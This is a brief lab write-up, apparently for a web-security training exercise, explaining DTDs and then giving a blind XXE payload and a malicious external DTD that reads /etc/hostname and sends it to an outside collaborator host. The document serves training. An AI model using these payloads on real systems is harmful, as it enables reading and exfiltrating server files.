5 - Exploiting blind XXE to exfiltrate data using a malicious external DTD
Una DTD (Document Type Definition) es un conjunto de reglas que define la estructura y los elementos válidos de un documento XML. En otras palabras, una DTD le dice al parser XML cómo debe estar organizado el documento: qué elementos puede tener, qué atributos, en qué orden, etc.
La idea es cargar una DTD de un dominio externo :
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "https://exploit-0af900640326d05d8081dea9010600fc.exploit-server.net/exploit"> %xxe; ]>
<stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>
DTD
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://7aitci4d6zry15ur9565w6tvxm3drbf0.oastify.com/?x=%file;'>"> %eval; %exfil;